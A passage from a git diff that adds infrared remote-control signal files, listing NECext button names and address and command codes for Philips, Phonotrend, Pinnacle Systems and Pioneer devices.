+protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: track-up +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: track-down +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: search-down +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: search-up +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: a/b +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir new file mode 100644 index 000000000..61ba70118 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: BRIGHTNESS_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: BRIGHTNESS_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: COLOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: COLOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: BASS_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: TREBLE_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: TREBLE_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CONTRAST_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CONTRAST_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: GO_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: L1-L2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: SPATIAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir new file mode 100644 index 000000000..ee009b148 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: START+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: STOP_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: DATE_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: START- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: STOP_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: DATE_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: CHANNEL+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 45 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir new file mode 100644 index 000000000..a292b490b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: P/I +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: FAST_RWD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: PAUSE/STEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: ENTER/> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 49 00 00 00 +# +name: VRMT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir b/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir new file mode 100644 index 000000000..24de2a142 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: loop +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 07 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 08 00 00 00 +# +name: del +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 0A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 1E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 26 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 29 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 2D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 2E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 3D 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 88 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 8C 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 99 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 9E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 9F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 11 14 00 00 +command: A8 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 11 14 00 00 +command: A9 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 11 14 00 00 +command: AA 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 11 14 00 00 +command: AB 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: B7 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D0 00 00 00 +# +name: pinnacle +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D1 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D2 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D3 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D4 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D5 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D6 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 14 00 00 +command: DB 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 14 00 00 +command: DC 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 11 14 00 00 +command: E1 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F1 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F2 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F3 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F4 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F5 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F6 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F7 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F8 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F9 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: FA 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 11 14 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir new file mode 100644 index 000000000..092fe60f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: key_mute +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: key_menu +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: key_volumeup +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: key_channelup +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: key_volumedown +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: key_channeldown +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: btn_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: btn_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: btn_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: btn_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: btn_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: btn_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: btn_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: btn_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: btn_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: key_screen +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: btn_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: key_t +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: key_rewind +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: key_playpause +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: key_fastforward +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: key_record +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: key_power +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: key_stop +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: key_question +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir new file mode 100644 index 000000000..1eb344619 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: screen +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: ask +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir new file mode 100644 index 000000000..e2099edf7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: CTVERECVECTVERCI +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: A_RED +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: B_GREEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: C_YELLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: OTAZNIK_BLUE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: CH_PLUS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: CH_MINUS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: CAPS_NUM +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: DEL +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: BEGINNING +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: KEY_END +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: CTVERECSETREMIRADKY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: PINNACLE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: RED_IN_THE_MIDDLE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir new file mode 100644 index 000000000..88fcfdd07 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: DOWN_CURSOR +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir new file mode 100644 index 000000000..0a0d5a94b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: UP_CURSOR +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir new file mode 100644 